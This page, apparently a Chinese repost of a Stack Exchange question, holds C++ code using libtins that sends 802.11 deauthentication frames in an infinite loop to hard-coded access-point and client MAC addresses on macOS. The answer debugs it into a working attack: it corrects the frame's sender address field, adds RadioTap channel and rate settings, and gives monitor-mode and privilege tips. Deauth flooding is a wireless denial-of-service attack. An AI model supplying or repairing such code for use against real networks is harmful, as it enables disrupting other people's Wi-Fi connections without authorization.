You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

在macOS High Sierra下发送802.11解除认证数据包的技术咨询

在macOS下使用libtins发送802.11解除认证数据包的问题

我目前在macOS High Sierra(最新版本) + **Xcode(最新版本)**环境下,尝试发送802.11解除认证(deauth)数据包。已经通过libpcap的pcap_set_rfmon函数将网卡en0切换至监听模式,并用libtins编写了相关代码(个人认为代码本身可能不是核心问题),但不确定是不是macOS系统层面的限制导致无法发送?

我的代码实现

主函数部分:

int main(int argc, const char * argv[]) { 
    if(!chk_arg(argc)) exit(1); 
    char const * interface=argv[1]; 
    //Set sniffer device 
    SnifferConfiguration config; 
    config.set_promisc_mode(true); 
    config.set_rfmon(true); 
    Sniffer sniffer(interface,config); 
    cout<<"Device : "<<interface<<endl; 
    DeauthSender deauth_sender(interface); 
    deauth_sender.SendDeauthTo("90:9f:33:77:07:ce","68:db:ca:d9:50:67",126000); 
}

DeauthSender类的SendDeauthTo方法:

bool DeauthSender::SendDeauthTo(Dot11::address_type bssid, Dot11::address_type station,int send_count) { 
    //if not define bssid or station address 
    if(bssid=="00:00:00:00:00:00"||station=="00:00:00:00:00:00") { 
        cout<<"sendDeauthTo faild"<<endl; 
        cout<<"BSSID : "<<bssid<<endl; 
        cout<<"Station : "<<station<<endl; 
        return false; 
    } 
    Dot11Deauthentication deauth(station,bssid); 
    deauth.addr1(station); 
    deauth.addr2(station); 
    deauth.addr3(bssid); //Also BSSID must be set 
    RadioTap radio = RadioTap() / deauth ; //Make Packet 
    for (int i = 0; ; ++i) { 
        sender_.send(radio,sniff_dev_); 
    } 
    return true; 
}

关于macOS下发送802.11数据包的限制与排查方向

首先明确:macOS不是完全无法发送802.11数据包,但系统内核和无线驱动的限制非常严格,你需要从以下几个方向排查:

  • 必须使用root权限运行程序:macOS对无线网卡的底层操作(监听模式切换、原始帧发送)要求极高权限,普通用户根本无法执行,所以一定要用sudo ./你的程序名 en0来运行。
  • 确认网卡真的进入监听模式:不要只依赖代码里的配置,用终端命令/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I检查,看输出里的mode字段是不是monitor。如果不是,可能是你的网卡不支持监听模式,或者代码里的切换逻辑有问题。
  • 无线网卡硬件支持:不是所有Mac的无线网卡都支持packet injection,比如部分新款MacBook的Broadcom网卡,苹果在驱动层面锁死了原始帧发送功能,这种情况下即使代码正确也发不出包。
  • 代码里的帧构造问题:你的代码里有个明显的地址字段错误:
    正常的解除认证帧,addr2应该是发送方的MAC地址(如果是AP发给客户端,addr2是BSSID;如果是伪造AP发客户端,addr2也应该是BSSID),但你现在把addr2设成了station(客户端MAC),这会导致帧的格式不符合802.11标准,即使发送出去也不会生效,甚至被驱动过滤。
  • RadioTap头缺失必要参数:你的代码里的RadioTap头是空的,没有设置频道、传输速率、调制方式等参数,macOS的驱动可能会因为这些参数缺失而拒绝发送帧。你需要补充这些信息,比如:
    RadioTap radio;
    radio.channel(1); // 设置对应的频道
    radio.rate(5.5); // 设置速率
    radio = radio / deauth;
    
  • libtins的发送配置:确认DeauthSender里的sender_(应该是PacketSender实例)有没有开启rfmon模式,比如初始化的时候要设置PacketSender::send_rfmon(true),否则可能无法在监听模式下发送帧。

内容的提问来源于stack exchange,提问作者Dork94

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.15 04:14:06